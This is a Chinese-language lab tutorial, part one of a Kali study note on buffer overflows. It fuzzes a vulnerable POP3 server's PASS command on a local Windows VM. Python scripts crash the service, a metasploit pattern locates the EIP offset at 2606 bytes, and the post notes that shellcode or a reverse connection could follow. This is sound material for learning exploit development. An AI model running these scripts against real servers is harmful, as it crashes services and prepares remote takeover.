Kali學習筆記21:緩衝區溢位實驗(上)
上一篇文章,我已經做好了緩衝區溢位實驗的準備工作:
下面就是Kali虛擬機器對緩衝區溢位的測試:
已經知道目標IP為:192.168.163.130
連線目標機器110埠成功,接下來進行測試
事先已經知道PASS命令存在緩衝區溢位漏洞:
只要在PASS後邊輸入的資料達到某一個值時,就會出現緩衝區溢位漏洞
但是,手動嘗試這個值實在有點低端,寫一個Python指令碼:
先寫一個基本的指令碼來測試:
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: print"\nSending evil buffer..." s.connect(('192.168.163.130', 110)) data = s.recv(1024) print data s.send('USER test' + '\r\n') data = s.recv(1024) print data s.send('PASS test\r\n') data = s.recv(1024) print data s.close() print '\nDone' except: print 'Can not connect to POP3'
使用指令碼:
如果指令碼是從windows移過來的:
vi xxx.py
:set fileformat=unix
:wq
chmod u+x xxx.py
./xxx.py
測試:OK
完善指令碼:
#!/usr/bin/python import socket buffer = ["A"] counter = 100 while len(buffer) <= 30: buffer.append("A" * counter) counter += 200 for string in buffer: print "FUZZING PASS WITH %s BYTES" % len(string) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) connect = s.connect(('192.168.163.130', 110)) s.recv(1024) s.send('USER test' + '\r\n') s.recv(1024) s.send('PASS ' + string + '\r\n') s.send('QUIT\r\n') s.close()
測試:OK
我們傳送這麼多的資料來測試,那麼問題來了,要怎麼判斷目標機器到底有沒有緩衝區溢位?
這時候就需要上一篇提到的ImmunityDebugger了:
先得到程序的PID:
記住這個PID,開啟ImmunityDebugger,file選單選擇attach
然後找到剛才的PID選擇即可:
預設的暫停狀態,點選開始按鈕來繼續:
開啟Kali虛擬機器開始傳送:
果然,傳送到2900的時候停下來了:
我們看看windows機器:
觀察暫存器:
注意這裡的暫存器顯示:41414141,根據Ascii碼錶,得出是AAAA
這裡重點注意EIP:系統下一步要執行指令的記憶體地址
而這裡下一條指令全部都是A,沒有正確的執行程式碼,所以現在程式已經崩潰了
再看看下邊的記憶體資訊:全部都是A
我們可以把指令碼的A改成其他字元繼續測試,發現都是到3000左右程式崩潰
到這裡我們想到:是否可以通過這個漏洞來做一些事情?
OK,我們可以通過指令碼測試得到確切的溢位值,然後修改EIP暫存器存放下一條指令的地址
可以新增一些後門程式,如果是Shellcode就可以進一步控制目標機器
下一個目標: 找出精確的溢位到EIP暫存器的位元組,進而可以修改程式執行軌跡
我們進一步來寫一個指令碼:
#!/usr/bin/python import socket buffer = 'A' * 2700 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: print "\nSending evil buffer...\n" s.connect(('192.168.163.130', 110)) data1 = s.recv(1024) s.send('USER test' + '\r\n') data2 = s.recv(1024) s.send('PASS ' + buffer + '\r\n') s.close() print '\nDone' except: print 'Can not connect to POP3'
傳送過去程式崩潰了,說明2700大了,那麼需要調小一些,
改成2600試試:發現程式崩潰了,但是EIP並不是A,所以想要利用需要比2600大
到這裡就知道了,最終資料應該是2600-2700之間
不過,具體該怎麼精確地跳轉呢?
二分法:不必多說
唯一字串法:生成2700個字元,每四個一組,每一組字串唯一,傳送唯一字串,精確定位
唯一字串指令碼比較複雜,但不需要自己寫,Kali虛擬機器裡面就有:metasploit-framework一個ruby指令碼
使用方式: ./pattern_create.rb -l 2700
我們使用這2700個字元地唯一字串來修改上邊地指令碼,把“A”*2700換成這個字串
檢視暫存器:
發現唯一字串對應地址(16進位制)是:39 69 44 38
由於記憶體地址,讀取要倒過來:38 44 69 39
對應字元是:8 D i 9
那麼怎樣知道對應第幾位呢?
metasploit-framework一個ruby指令碼可以解決:
使用:
或者這樣:
得出是在第2606個位置
既然得到了是在第2606個位置:
就可以繼續修改這個指令碼了:測試能否恰好是BBBB
#!/usr/bin/python import socket buffer = 'A' * 2606 + 'B' * 4 + 'C' * 20 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: print "\nSending evil buffer...\n" s.connect(('192.168.163.130', 110)) data1 = s.recv(1024) s.send('USER test' + '\r\n') data2 = s.recv(1024) s.send('PASS ' + buffer + '\r\n') s.close() print '\nDone' except: print 'Can not connect to POP3'
果然:
檢視42對應的就是B
那麼
假設,在ESP中,不是20個C,而是Shellcode或者是惡意程式碼(反向連線等等)
就可以實現遠端控制的目的
具體如何精確修改而實現對目標機器的控制呢?
下一篇隨筆具體介紹